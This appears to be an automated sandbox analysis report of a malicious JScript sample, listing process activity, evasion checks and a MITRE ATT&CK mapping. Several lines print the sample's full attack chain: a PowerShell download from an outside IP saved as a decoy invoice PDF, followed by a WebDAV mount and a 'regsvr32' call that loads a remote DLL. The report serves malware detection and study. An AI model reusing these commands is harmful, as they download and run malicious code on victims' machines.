Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8886.js.csv");ITextStream.WriteLine(" entry:8020 f:eucuja");ITextStream.WriteLine(" exec:2 f:eucuja");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5426			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4430			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2632	Thread sleep count: 5426 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2632	Thread sleep count: 4430 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2084	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4836	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1916	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2404	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2208719471.000001A889DB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW{O
Source: net.exe, 00000007.00000002.2208719471.000001A889D48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2208719471.000001A889DB2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3422500853.00000116B7058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3421539865.00000116B182B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
